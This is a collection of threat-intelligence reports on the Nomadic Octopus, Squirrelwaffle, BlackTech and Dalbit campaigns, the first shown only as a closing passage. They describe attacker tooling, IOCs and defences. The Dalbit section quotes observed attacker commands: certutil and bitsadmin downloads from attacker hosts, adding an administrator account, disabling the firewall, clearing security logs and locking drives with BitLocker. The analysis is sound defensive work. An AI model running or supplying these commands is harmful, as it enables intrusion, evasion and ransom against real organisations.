screenshots, ID numbers of victims rise incrementally, with this we can conclude that the group established 499 successful connections in total, but they either discarded the connections purposefully because it is not within their interest or the connections were simply lost. After the backdoor is planted into victim devices, as explained before, the threat actors can execute commands on the device from the command and control panel directly. According to the executed commands’ date and times, the activity heatmap shows Nomadic Octopus’ weekly active hours. This activity graph matches mostly with GMT+5, which is also Tajikistan’s official timezone. Considering that most of compromised devices are workstations of the officers/employees who are only active on devices in work hours of the victims, any attribution attempt based on operator’s timezone would be inaccurate. ### 5.1 Interested Profiles As explained before in C&C Analysis, the network tagged as 25.1 is government network devices. The table shows compromised devices’ possible owners. It can be seen that also one of government’s DC is compromised. | Name Surname | Position | |------------------------------------------------|-----------------------------------------------| | Sharifi Abdulaziz | Human Resources Executive Officer | | Khudoyor Khudoyorzoda | Transport Minister | | Bobisho Kholzoda | Agriculture and Environmental Protection Executive Officer | | Rahmonzoda Saidnakhsh Hakim | Deputy Minister of Internal Affairs | | Qurbonzoda Amirkhon Fayzullo | Deputy Chairman of Khatlon Province | ### 5.2 Other Targets In Scope The group interest also covers OT devices, according to the Client tab; there are 4 gas stations and one cash register. ## 6 Appreciations Operation Paperbug is an example of new world espionage stories. This and other advanced persistent threat actors prove that the cyberspace is a new domain in terms of modern warfare. Besides the existing human intelligence factor’s importance in gathering information, these findings show how much a group can lurk in organizations remotely even with many blunders while executing the operation, unlike other espionage techniques. Other types of espionage do not have that much fault tolerance. The PTI team was able to gain invaluable insight into how Nomadic Octopus organizes its activities and achieves its goals. This will help inform cybersecurity policies designed to protect against similar motivated operations. According to the PTI team observations, the group usually does not know which device they gained access to. From how Nomadic Octopus group eliminates or keeps connection decision, it is clear to see that Nomadic Octopus is actively searching for OT devices, government networks and officers and public service infrastructures. These targets enable them to gather closed confidential sources and surveillance on Tajikistan and its people. This motivation is also supported by the reason the group have not stopped spying on and its employees. The group desires to gather information wherever it can. Although the entire target list is unknown, the group may initiate other campaigns towards geographically and politically close to Tajikistan. Used language (Russian) in command and control panel is very common in the close geographical area. Thus, it can also hint the group’s origin and interested and favored territories. Proactive detection strategies are critical for overcoming fast-moving threats like this operation. Broadly defined prevention-based security may help mitigate some of the most obvious threats, but the reality of today’s mature, organized cybercrime industry requires a new strategy. Business leaders and cybersecurity decision-makers must actively search for new cybercrime trends and implement solutions for patching new vulnerabilities in their networks. ### 6.1 Preventing Another Paperbug Operation Paperbug is a scary reminder that espionage operations can easily fly under the radar and sensitive information can be leaked without the owner even realizing. This is why we chose to add a section on how organizations can stay safe from such attacks. One of the crucial aspects of ensuring protection is to configure network security configurations correctly. This includes setting up firewalls, encryption protocols, and other security measures to ensure that unauthorized individuals cannot gain access to your network. Additionally, it is essential to regularly update your security systems to protect against new threats that may arise. Another important aspect of network security is employee education. Cybersecurity threats can come in many forms, including phishing attacks and other social engineering tactics. Therefore, it is essential to train employees about cybersecurity topics and how to identify and respond to these threats. Regular training sessions can help raise awareness among employees and teach them to adopt safe practices when accessing the network. Ultimately, by training employees about cybersecurity risks, companies can significantly reduce the risk of a data breach or other cybersecurity-related incident. Regularly updating the version of your assets is another critical step in maintaining network security. Older versions of software and operating systems are often more susceptible to cybersecurity attacks. Updating to the latest version ensures that you have access to the latest security patches, minimizing the risk of an attack. Additionally, it is important to follow the products of your assets for any vulnerabilities that may occur in the products. This allows you to take appropriate measures to address the issue and prevent any potential security breaches. One of the most common ways that attackers gain access to a network is through weak or easily guessable credentials. Therefore, it is essential to avoid using weak passwords or credentials when accessing the network. Passwords should be complex and difficult to guess, including a combination of letters, numbers, and symbols. Additionally, it is essential to use two-factor authentication whenever possible to add an extra layer of security to your network. Finally, extensions of downloaded files should always be double-checked, especially on Windows devices, which often hide the true extension of a file. Overall, taking these steps can help organizations maintain a secure network and prevent any potential cybersecurity-related incidents. ## 7 TTP | Tactic | Technique | Description | |---------------------------|------------------------------------------------|-----------------------------------------------| | Reconnaissance | T1595 Active Scanning | Scans the devices in the victim’s network block. | | | T1592 Gather Victim Host Information | Gathers information on the system itself. | | | T1590 Gather Victim Network Information | Exfiltrates the DNS cache from machines. | | Resource Development | T1587 Develop Capabilities | Installs malware on victim machines to gain control. | | Initial Access | T1078 Valid Accounts | Scans the available domain accounts in the network. | | Execution | T1059 Command and Scripting Interpreter | PowerShell is used to execute commands. | | | T1053 Scheduled Task/Job | Schedules tasks on Windows using SCHTASKS to gain persistence. | | Persistence | T1547 Boot or Logon Autostart Execution | Adds malware into the Startup folder of compromised machines. | | Credential Access | T1555 Credentials from Password Stores | Uses LaZagne to steal credentials from vault files. | | Discovery | T1083 File and Directory Discovery | Reads and writes ini files. | | Lateral Movement | T1021 Remote Services | RDP is used to view and control devices of victims. |
# Squirrelwaffle Exploits ProxyShell and ProxyLogon to Hijack Email Chains In September, Squirrelwaffle emerged as a new loader that is spread through spam campaigns. It is known for sending its malicious emails as replies to preexisting email chains, a tactic that lowers a victim’s guard against malicious activities. To be able to pull this off, we believe it involved the use of a chain of both ProxyLogon and ProxyShell exploits. The Trend Micro Incident Response team looked into several intrusions related to Squirrelwaffle that happened in the Middle East. This led to a deeper investigation into the initial access of these attacks. We wanted to see if the attacks involved the said exploits. This comes from the fact that all of the intrusions we observed originated from on-premise Microsoft Exchange Servers that appeared to be vulnerable to ProxyLogon and ProxyShell. In this blog entry, we shed more light into these observed initial access techniques and the early phases of Squirrelwaffle campaigns. ## Microsoft Exchange Infection We observed evidence of the exploits on the vulnerabilities CVE-2021-26855, CVE-2021-34473, and CVE-2021-34523 in the IIS Logs on three of the Exchange servers that were compromised in different intrusions. The same CVEs were used in ProxyLogon (CVE-2021-26855) and ProxyShell (CVE-2021-34473 and CVE-2021-34523) intrusions. Microsoft released a patch for ProxyLogon in March; those who have applied the May or July updates are protected from ProxyShell vulnerabilities. ### CVE-2021-26855: The Pre-authentication Proxy Vulnerability This server-side request forgery (SSRF) vulnerability can allow a threat actor access by sending a specially crafted web request to an Exchange Server. The web request contains an XML payload directed at the Exchange Web Services (EWS) API endpoint. The request bypasses authentication using specially crafted cookies and allows an unauthenticated threat actor to execute EWS requests encoded in the XML payload then ultimately perform operations on victims’ mailboxes. From our analysis of the IIS log, we saw that the threat actor uses a publicly available exploit in its attack. This exploit gives a threat actor the ability to get users SID and emails. They can even search for and download a target’s emails. ### CVE-2021-34473: The Pre-auth Path Confusion This ProxyShell vulnerability abuses the URL normalization of the explicit Logon URL, wherein the logon email is removed from the URL if the suffix is autodiscover/autodiscover.json. This grants arbitrary backend URL the same access as the Exchange machine account (NT AUTHORITY\SYSTEM). ### CVE-2021-34523: Exchange PowerShell Backend Elevation-of-Privilege Exchange has a PowerShell remoting feature that can be used to read and send emails. It can’t be used by NT AUTHORITY\SYSTEM as it does not have a mailbox. However, in cases where it is accessed directly via the previous vulnerability, the backend/PowerShell can be provided with X-Rps-CAT query string parameter. The backend/PowerShell will be deserialized and used to restore user identity. It can therefore be used to impersonate a local administrator to run PowerShell commands. With this, the attackers would be able to hijack legitimate email chains and send their malicious spam as replies to the said chains. ## Malicious Spam In one of the observed intrusions, all the internal users in the affected network received spam emails sent as legitimate replies to existing email threads. All of the observed emails were written in English for this spam campaign in the Middle East. While other languages were used in different regions, most were written in English. More notably, true account names from the victim’s domain were used as sender and recipient, which raises the chance that a recipient will click the link and open the malicious Microsoft Excel spreadsheets. In the same intrusion, we analyzed the email headers for the received malicious emails; the mail path was internal (between the three internal exchange servers’ mailboxes), indicating that the emails did not originate from an external sender, open mail relay, or any message transfer agent (MTA). Delivering the malicious spam using this technique to reach all the internal domain users will decrease the possibility of detecting or stopping the attack, as the mail gateways will not be able to filter or quarantine any of these internal emails. The attacker also did not drop or use tools for lateral movement after gaining access to the vulnerable Exchange servers, so that no suspicious network activities will be detected. Additionally, no malware was executed on the Exchange servers that would trigger any alerts before the malicious email is spread across the environment. ## The Malicious Microsoft Excel File The attacker exploited the Exchange servers to deliver internal mails. This was all done to catch users off-guard, making them more likely to click the link and open the dropped Microsoft Excel or Word file. Both links used in the malicious emails drop a ZIP file on the machine. The ZIP file contains a malicious Microsoft Excel sheet that downloads and executes a malicious DLL related to Qbot. These sheets contain malicious Excel 4.0 macros that are responsible for downloading and executing the malicious DLL. The spreadsheets download the DLL from hardcoded URLs. The DLL is dropped in C:\Datop\. Finally, the document executes the DLL using the following commands: ``` C:\Windows\System32\regsvr32.exe C:\Datop\good.good C:\Windows\System32\regsvr32.exe C:\Datop\good1.good C:\Windows\System32\regsvr32.exe C:\Datop\good2.good ``` Once the DLL executes, it starts to inject the Microsoft process (c:\windows\system32\mobsync.exe). Finally, it communicates with the command-and-control (C&C) server. ## Security Recommendations By exploiting ProxyLogon and ProxyShell, attackers were able to bypass the usual checks that would have stopped the spread of malicious email. This highlights how users play an important part in the success or failure of an attack. Squirrelwaffle campaigns should make users wary of the different tactics used to mask malicious emails and files. Emails that come from trusted contacts may not be enough of an indicator that whatever link or file included in the email is safe. It is important to ensure that patches for Microsoft Exchange Server vulnerabilities, specifically ProxyShell and ProxyLogon (CVE-2021-34473, CVE-2021-34523, and CVE-2021-31207) have already been applied. Microsoft reiterated that those who have applied their patch for ProxyLogon in March are not protected from ProxyShell vulnerabilities and should install more recent (May or July) security updates. Here are other security best practices to consider: - Enable virtual patching modules on all Exchange servers to provide critical level protection for servers that have not yet been patched for these vulnerabilities. - Use endpoint detection and response (EDR) solutions in critical servers, as it provides visibility to machine internals and detects any suspicious behavior running on servers. - Use endpoint protection designed for servers. - Apply sandbox technology on email, network, and web to detect similar URLs and samples. Users can also opt to protect systems through managed detection and response (MDR), which utilizes advanced artificial intelligence to correlate and prioritize threats, determining if they are part of a larger attack. It can detect threats before they are executed, preventing further compromise.
# The Trail of BlackTech’s Cyber Espionage Campaigns BlackTech is a cyber espionage group operating against targets in East Asia, particularly Taiwan, and occasionally, Japan and Hong Kong. Based on the mutexes and domain names of some of their C&C servers, BlackTech’s campaigns are likely designed to steal their target’s technology. Following their activities and evolving tactics and techniques helped us uncover the proverbial red string of fate that connected three seemingly disparate campaigns: PLEAD, Shrouded Crossbow, and of late, Waterbear. ## PLEAD PLEAD is an information theft campaign with a penchant for confidential documents. Active since 2012, it has so far targeted Taiwanese government agencies and private organizations. PLEAD’s toolset includes the self-named PLEAD backdoor and the DRIGO exfiltration tool. PLEAD uses spear-phishing emails to deliver and install their backdoor, either as an attachment or through links to cloud storage services. Some of the cloud storage accounts used to deliver PLEAD are also used as drop-off points for exfiltrated documents stolen by DRIGO. PLEAD’s installers are disguised as documents using the right-to-left-override (RTLO) technique to obfuscate the malware’s filename. They are mostly accompanied by decoy documents to further trick users. We’ve also seen PLEAD use exploits for these vulnerabilities: - CVE-2015-5119, patched by Adobe last July, 2015 - CVE-2012-0158, patched by Microsoft last April, 2012 - CVE-2014-6352, patched by Microsoft last October, 2014 - CVE-2017-0199, patched by Microsoft last April, 2017 PLEAD also dabbled with a short-lived, fileless version of their malware when it obtained an exploit for a Flash vulnerability (CVE-2015-5119) that was leaked during the Hacking Team breach. PLEAD actors use a router scanner tool to scan for vulnerable routers, after which the attackers will enable the router’s VPN feature then register a machine as a virtual server. This virtual server will be used either as a C&C server or an HTTP server that delivers PLEAD malware to their targets. PLEAD also uses CVE-2017-7269, a buffer overflow vulnerability in Microsoft Internet Information Services (IIS) 6.0 to compromise the victim’s server. This is another way for them to establish a new C&C or HTTP server. PLEAD’s backdoor can: - Harvest saved credentials from browsers and email clients like Outlook - List drives, processes, open windows, and files - Open remote Shell - Upload target file - Execute applications via ShellExecute API - Delete target file PLEAD also uses the document-targeting exfiltration tool DRIGO, which mainly searches the infected machine for documents. Each copy of DRIGO contains a refresh token tied to specific Gmail accounts used by the attackers, which are in turn linked to a Google Drive account. The stolen files are uploaded to these Google Drives, where the attackers can harvest them. ## Shrouded Crossbow This campaign, first observed in 2010, is believed to be operated by a well-funded group given how it appeared to have purchased the source code of the BIFROST backdoor, which the operators enhanced and created other tools from. Shrouded Crossbow targeted privatized agencies and government contractors as well as enterprises in the consumer electronics, computer, healthcare, and financial industries. Shrouded Crossbow employs three BIFROST-derived backdoors: BIFROSE, KIVARS, and XBOW. Like PLEAD, Shrouded Crossbow uses spear-phishing emails with backdoor-laden attachments that utilize the RTLO technique and are accompanied by decoy documents. BIFROSE, known for evading detection by communicating with its C&C servers via Tor protocol, also has a version targeting UNIX-based operating systems, which are usually used in servers, workstations, and mobile devices. KIVARS has less functionality than BIFROSE, but its modular structure made it easier to maintain. KIVARS enabled attackers to download and execute files, list drives, uninstall malware service, take screenshots, activate/deactivate keylogger, show/hide active windows, and trigger mouse clicks and keyboard inputs. A 64-bit version of KIVARS also emerged to keep pace with the popularity of 64-bit systems. XBOW’s capabilities are derived from BIFROSE and KIVARS; Shrouded Crossbow gets its name from its unique mutex format. ## Waterbear Waterbear has actually been operating for a long time. The campaign’s name is based on its malware’s capability to equip additional functions remotely. Waterbear similarly employs a modular approach to its malware. A loader component executable will connect to the C&C server to download the main backdoor and load it in memory. A later version of this malware appeared and used patched server applications as its loader component, while the main backdoor is either loaded from an encrypted file or downloaded from the C&C server. The tactic it later adopted required prior knowledge of their targets’ environment. It’s possible attackers used Waterbear as a secondary payload to help maintain presence after gaining some levels of access into the targets’ systems. ## All Roads Lead to BlackTech Based on the use of the same C&C servers, the campaigns’ coordinated efforts, and similarities in tools, techniques, and objectives, we can conclude that they are operated by the same group. It is not uncommon, for instance, for a group—especially a well-funded one—to split into teams and run multiple campaigns. While most of the campaigns’ attacks are conducted separately, we’ve seen apparently joint operations conducted in phases that entail the work of different teams at each point in the infection chain. ### Use of the Same C&C Servers In several instances, we found the campaigns’ malware communicating with the same C&C servers. In targeted attacks, C&C servers are typically not shared with other groups. Here are some of the C&C servers we found that are shared by the campaigns: | C&C Server | PLEAD | Shrouded Crossbow | Waterbear | |--------------------------|-------|-------------------|-----------| | itaiwans[.]com | Yes | No | Yes | | microsoftmse[.]com | Yes | Yes | No | | 211[.]72[.]242[.]120 | Yes | Yes | No | Additionally, the IP 211[.]72[.]242[.]120 is one of the hosts for the domain microsoftmse[.]com, which has been used by several KIVARS variants. ### Joint Operations We also found incidents where the backdoors were used on the same targets. While it’s possible for separate groups to attack at the same time, we can construe that they are at least working together: | PLEAD | Shrouded Crossbow | |-----------------------------------|---------------------------------------| | Samples from different groups using the same filename | Loader component named after its target, i.e. {target name}.exe | | Backdoors using the same C&C servers | Connected to 211[.]72[.]242[.]120:53 | | Timeline indicating arrival order | Arrived two days after initial infection by SC | | PLEAD | Shrouded Crossbow | Waterbear | |-----------------|-------------------|------------------| | Samples found in same machine | vmdks.exe | cfbcjtqx.dll | tpauto.dll | | Timeline of infection | 3/16/2017 | 2/23/2017 | 3/8/2017 | ### Similarities between tools and techniques PLEAD and KIVARS, for instance, share the use of RTLO techniques to disguise their installers as documents. Both also use decoy documents to make the RTLO attack more convincing. Another similarity is the use of a small loader component to load encrypted backdoors into memory. ### Similar Objectives The ulterior motive of these campaigns is to steal important documents from their victims; initial recipients of their attacks are not always their primary target. For instance, we saw several decoy documents stolen by the attackers that are then used against another target. This indicates that document theft is most likely the first phase of an attack chain against a victim with ties to the intended target. While PLEAD and KIVARS are most likely to be used in first phase attacks, Waterbear can be seen as a secondary backdoor installed after attackers have gained a certain level of privilege. Based on the type of documents stolen by these campaigns, we can get a clearer view of who they’re targeting and compromising, the purpose of their campaigns, and when they take place. Below are some of the categories or labels of the stolen documents: - Address book - Budget - Business - Contract - Culture - Defense - Education - Energy - Foreign affairs - Funding application - Human affairs - Internal affairs - Laws - Livelihood economy - Meeting - Official letter - Password list - Performance appraisal - Physical culture - Press release - Public security - Schedule ## Enterprises Need to be Proactive PLEAD, Shrouded Crossbow, and Waterbear are still actively mounting their campaigns against their targets, which is why organizations must proactively secure their perimeter. IT/system administrators and information security professionals can consider making a checklist of what to look out for in the network for any signs of anomalies and suspicious behavior that can indicate intrusions. Adopting best practices and employing multilayered security mechanisms and strategies against targeted attacks are also recommended. Network traffic analysis, deployment of firewalls and intrusion detection and prevention systems, network segmentation, and data categorization are just some of them. ## Trend Micro Solutions Trend Micro™ Deep Discovery™ provides detection, in-depth analysis, and proactive response to today’s stealthy malware and targeted attacks in real-time. It provides a comprehensive defense tailored to protect organizations against targeted attacks and advanced threats through specialized engines, custom sandboxing, and seamless correlation across the entire attack lifecycle, allowing it to detect threats like the above-mentioned zero-day attacks even without any engine or pattern update. Trend Micro™ Deep Security™ and Vulnerability Protection provide virtual patching that protects endpoints from threats that abuse unpatched vulnerabilities. OfficeScan’s Vulnerability Protection shields endpoints from identified and unknown vulnerability exploits even before patches are deployed. Trend Micro™ Smart Protection with Maximum XGen™ security infuses high-fidelity machine learning into a blend of threat protection techniques to eliminate security gaps across user activity and any endpoint—the broadest possible protection against advanced attacks. An overview and analysis of the various malware used by PLEAD, Shrouded Crossbow, and Waterbear, along with their Indicators of Compromise (hashes, C&Cs), can be found in this technical brief.
# Dalbit (m00nlight): Chinese Hacker Group’s APT Attack Campaign By kingkimgim February 13, 2023 ## 0. Overview This report is a continuation of the “Attackers Using FRP (Fast Reverse Proxy) to Attack Korean Companies” post uploaded on August 16, 2022, and follows the group’s activities since that post. This group has always relied on open-source tools and lacked distinct characteristics to profile them due to the lack of PDB information. Additionally, the amount of information that could be collected was limited unless the affected Korean companies specifically asked for an investigation since the threat actor’s C2 (Command & Control) server abused the servers of the Korean companies. However, after the post was uploaded and a portion of the Korean company servers used by the threat actor were blocked, the threat actor began to use a hosting server called “*.m00nlight.top” as their C2 and download server. Thus, the ASEC team decided to call this group Dalbit (m00nlight.top) after the Korean word for ‘Moonlight’. This group has had more than 50 confirmed attack attempts on Korean companies since 2022. Most of the attacked companies were mid to small companies, while a portion was major companies. The team has confirmed that 30% of the infected companies were using a certain Korean groupware solution. It is currently difficult to check whether this groupware product has a vulnerability or not, but if a server that is this exposed has a vulnerability, then there is a chance that companies could be affected gravely through the leakage of confidential information and ransomware behavior. Furthermore, this Dalbit group leaves some infected companies as proxies and download servers to later use them as means to communicate with the threat actor upon infiltration of another company. Therefore, we strongly recommend performing an internal security check if users suspect that they have been attacked by this Dalbit group. The team asks that users send a report to AhnLab and take preemptive measures to prevent secondary harm and potential damage to other companies. ## 1. Affected Korean Companies (Industry Type) Listed below are the 50 companies that were confirmed to have been affected since 2022. Companies that have not been clearly confirmed were excluded from this list. It is possible that more companies could have been affected. **Industry Types:** - **Technology:** Companies that handle software or hardware - **Industrial:** Manufacturing companies that handle machinery, paint jobs, steel, metals, etc. - **Chemical:** Cosmetic, pharmaceutical, and plastic companies - **Construction:** Associations or organizations related to construction or construction companies - **Automobile:** Automobile-related manufacturing companies - **Semiconductor:** Semiconductor-related manufacturing companies - **Education:** Educational companies - **Wholesale:** Wholesalers - **Media:** Printing and media companies - **Food:** Food companies - **Shipping:** Shipping companies - **Hospitality:** Leisure or tourist accommodation companies - **Energy:** Energy companies - **Shipbuilding:** Shipbuilding companies - **Consulting:** Management consulting companies ## 2. Flow and Characteristics ### 2.1. Summary Diagram The above diagram shows the threat actor’s infiltration process into Company B. A brief summary of this flow is in the table below. 1. **Initial Access** The threat actor targets web servers or SQL servers, which they gain access to by exploiting vulnerabilities. They then attempt to control the systems with tools such as WebShell. 2. **Command & Control** Various hacking tools are downloaded through WebShell. Hacking tools include various binaries such as privilege escalation tools, proxy tools, and network scanning tools. 3. **Proxy & Internal Reconnaissance** - **Proxy:** The threat actor installs a proxy tool such as FRP (Fast Reverse Proxy) before attempting to connect to a hosting server built by the threat actor or another previously infected company’s server (Company A) via Remote Desktop (RDP). - **Internal Reconnaissance:** Tools such as network scanning tools and account theft tools are used for internal reconnaissance and obtaining information. 4. **Lateral Movement** The obtained information is used to move to another connectible server or PC. Afterward, a proxy tool (FRP) is also installed on the PC that has successfully been reached through lateral movement, creating an environment that allows the threat actor to connect via RDP. The required privilege level is then acquired by either adding a specific account or through a credential theft tool like Mimikatz. 5. **Impact** Ultimately, after the threat actor steals all the information they desire, they use BitLocker to lock certain drives and demand a ransom. ### 2.2. Characteristics of Dalbit **List** | **Description** --- | --- Threat Actor’s C2 Servers | Download and C2 (Command & Control) servers: Korean company or hosting servers. Over half of these servers are exploited Korean company servers. *.m00nlight.top or IP format addresses are often used for the hosting servers. Attempts Control Through RDP | Usually attempts to access RDP after infection. Either a proxy tool or Gotohttp is used for RDP connection. Proxy Tools | Major proxy tools used include FRP, LCX (Htran), NPS, ReGeorg, etc. Add User Account | A net command is used to add an account. Account credentials (ID: “main” / PW: “ff0.123456”). Open-source Tool | Mostly uses open-source tools that are publicly available. A lot of tools are written in Chinese. Evasion | VMProtect is used to prevent hacking tools from being detected. Security event logs are deleted. Extorted Information | User account credentials, email information, screen leak, installed program information. ## 3. Tools Used and Infiltration Process ### 3.1. Tools and Malware Used **WebShell** | **Downloader** | **Privilege Escalation** | **Proxy** | **Internal Reconnaissance** --- | --- | --- | --- | --- Godzilla | Certutil (Windows CMD) | BadPotato | FRP | FScan ASPXSpy | Bitsadmin (Windows CMD) | JuicyPotato | LCX | NbtScan AntSword | SweetPotato | NPS | TCPScan China Chopper | RottenPotato | ReGeorg | Goon | EFSPotato | | | **Lateral Movement** | **Information Leak and Collection** | **Backdoor** | **File Encryption** | **Evasion** --- | --- | --- | --- | --- RDP | Wevtutil (Windows CMD) | CobaltStrike | BitLocker | Security log deletion (Windows CMD) PsExec | WMI (Windows CMD) | MetaSploit (Windows CMD) | | Attempts to delete AV products RemCom | ProcDump | BlueShell | | VMProtect Packing Winexec | EML Extractor (created) | Ladon | | | Only one tool for leaking emails seems to have been made by the group themselves. The rest are normal Windows programs or tools that can easily be found online. ### 3.2. Infiltration Process #### 3.2.1. Initial Infiltration It is assumed that their attack targets are usually servers with a specific Korean groupware installed on them, email servers (Exchange Server), and SQL servers. The threat actor exploited either file upload vulnerabilities or WebLogic vulnerabilities such as CVE-2017-10271 to upload their WebShell. A portion appeared to have used a SQL server command prompt (xp_cmdshell). The most frequently used WebShells are Godzilla, ASPXSpy, AntSword, and China Chopper in that order. Aside from these, several other WebShells were also found. **Installation Paths of the WebShells:** - Job recruitment (File upload vulnerability) - D:\WEB\********recruit\css\1.ashx - D:\WEB\********recruit\css\4.ashx - D:\WEB\********recruit\common\conf.aspx - File upload vulnerability - D:\UploadData\***********\****_File\Data\Award\1.ashx - D:\UploadData\***********\****_File\Data\Award\2.aspx - D:\UploadData\***********\****_File\Data\Award\3.aspx - Certain groupware - D:\Web\(Groupware)\cop\1.ashx - D:\Web\(Groupware)\app\4.ashx - D:\Web\(Groupware)\bbs\4.asmx - D:\Web\(Groupware)\erp\tunnel.aspx (ReGeorg) - D:\inetpub\(Groupware)\image\2.asmx - C:\(Groupware)\Web\(Groupware)\cop\conf.aspx - Email server (Exchange Server) - D:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\aa.aspx - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Temporary ASP.NET Files\root\91080f08\2694eff0\app_web_defaultwsdlhelpgenerator.aspx.cdcab7d2.sjx_41yb.dll - Weblogic - D:\***\wls1035\domains\************\servers\*******\tmp\************\uddiexplorer\gcx62x\war\modifyregistryhelp.jsp #### 3.2.2. Download The threat actor downloads other hacking tools through default Windows programs. Since WebShells are normally used in infiltration, parent processes, excluding command processes like cmd, are run by web server processes such as w3wp.exe, java.exe, sqlserver.exe, and tomcat*.exe. The downloaded files include privilege escalation tools, proxy tools, and network scanning tools, all of which are required by the threat actor. **Download Command Examples:** 1. **Certutil** ``` certutil -urlcache -split -f hxxp://www.ive***.co[.]kr/uploadfile/ufaceimage/1/update.zip c:\programdata\update.exe (frpc) ``` 2. **Bitsadmin** ``` bitsadmin /transfer mydownloadjob /download /priority normal “hxxp://91.217.139[.]117:8080/calc32.exe” “c:\windows\debug\winh32.exe” (frpc) ``` The hacking tools and malware downloaded by the threat actor were usually found in the following paths: - %ALLUSERSPROFILE% - %SystemDrive%\temp - %SystemDrive%\perflogs - %SystemDrive%\nia - %SystemDrive%\.tmp - %SystemRoot% - %SystemRoot%\debug - %SystemRoot%\temp #### 3.2.3. Privilege Escalation and Account Addition The threat actor mainly used Potato (BadPotato, JuicyPotato, SweetPotato, RottenPotato, EFSPotato) and PoC (CVE-2018-8639, CVE-2019-1458) for privilege escalation. After privilege escalation, they characteristically add the following account. **SweetPotato Usage Log:** ``` sp.exe “whaomi” (Privilege check) sp.exe “netsh advfirewall set allprofiles state off” (Firewall OFF) sp.exe “net user main ff0.123456 /add & net localgroup administrators main /add” (Add account) ``` #### 3.2.4. Proxy Settings After infiltrating a server, the threat actor initiates access via proxy to use RDP communications. FRP and LCX were the mainly used proxy tools. Additionally, multiple proxy tools including FRP and LCX were found in one area of a certain company that was infiltrated. Multiple FRP configuration files (.ini) would also be discovered in cases where internal propagation had occurred. **FRP Filenames and Commands:** - **Filenames:** - update.exe - debug.exe - main.exe - info.exe - Agent.exe - frpc.exe - test.exe - zabbix.exe - winh32.exe - cmd.exe - **Commands:** ``` update.exe -c frpc.ini debug.exe -c debug.ini frpc.exe -c frpc__2381.ini ``` #### 3.2.5. Internal Reconnaissance Fscan and NBTScan have been commonly used for network scans, but the usage of TCP Scan and Goon has also been confirmed for some cases. Goon is a network scanning tool made with Golang that allows basic port scanning and scanning for Tomcat, MSSQL, and MYSQL accounts. #### 3.2.6. Information Extortion LSASS Dump information and EML files of certain accounts are usually the information that is stolen. It has been confirmed that installed programs are checked through a WMIC command or a screenshot of the affected PC is sent to the threat actor’s server at regular intervals according to the companies. 1. **Credential Extraction (LSASS Dump)** The threat actor would choose to not install Mimikatz and attempt to extract credentials instead. This is a method that dumps the Lsass.exe process. 2. **Email Extraction** This sample is an email extraction tool developed with Golang and presumably the only known tool developed by the threat actor themselves. This tool targets a company’s Exchange email server and extracts a specific account’s email with EWS (Exchange Web Service) as an EML file. 3. **Screen Leak** The threat actor sent screenshots from certain PCs to their own server. The threat actor’s server where the infected PC’s screenshots were being sent has been discovered. 4. **Lookup Installed Programs and Login Information** The threat actor used a WMIC command to check installed programs. #### 3.2.7. File Encryption The threat actor used BitLocker, a Windows utility, to encrypt certain drives and demand ransoms. **BitLocker Commands:** ``` “C:\Windows\System32\BitLockerWizardElev.exe” F:\ T manage-bde -lock -ForceDismount F: ``` #### 3.2.8. Evasion 1. **VMProtect Packing** When the binary was detected after being uploaded, the threat actor packed it with VMProtect to try and avoid detection. 2. **Windows Event Log Deletion Using Wevtutil** Removal of security event logs: ``` cmd.exe /c wevtutil cl security ``` 3. **Firewall OFF** ``` sp.exe “netsh advfirewall set allprofiles state off” ``` ## 4. Conclusion The Dalbit hacking group attempted attacks against vulnerable Korean company servers, and logs are being reported not only from mid-sized and smaller businesses but also from some large companies. In particular, 30% of the affected companies were found to have been using a certain Korean groupware product. Moreover, this group uses publicly available tools, from the WebShell used in the early stages to the ransomware used at the end. It can be assumed that the threat actor has at least a partial connection with China, considering their frequent usage of Chinese tools. If a server admin suspects that their system has been infected, they are advised to check their IOC along with the aforementioned download paths and account name (“main”) often used by the threat actor. If suspicions are confirmed, then it is advised to immediately report your situation to AhnLab in order to minimize additional harm. Furthermore, admins should prevent vulnerability attacks by updating their servers to the newest version for vulnerability patches, and maintenance is especially needed for servers that are open externally but not managed. ## 5. IOC For reference, the IP addresses of Korean company servers abused by the threat actor will not be disclosed on the ASEC blog. **Mitre Attack** - Execution: Command and Scripting Interpreter (T1059) - Persistence: Scheduled Task/Job (T1053) - Privilege Escalation: Access Token Manipulation (T1134) - Credential Access: OS Credential Dumping (T1003) - Discovery: Remote System Discovery (T1018) - Defense Evasion: Impair Indicator Removal (T1070) - Lateral Movement: Remote Services (T1021) **Detection Names** - WebShell/Script.Generic - WebShell/ASP.ASpy.S1361 - Backdoor/Script.Backdoor - HackTool/Win.Fscan.C5334550 - Trojan/Win32.Mimikatz.R262842 **C2 and URL** - Download C2: 91.217.139[.]117 - Upload C2: 205.185.122[.]95 - FRP & LCX C2: hxxp://sk1.m00nlight[.]top:80 Subscribe to AhnLab’s next-generation threat intelligence platform ‘AhnLab TIP’ to check related IOC and detailed analysis information.
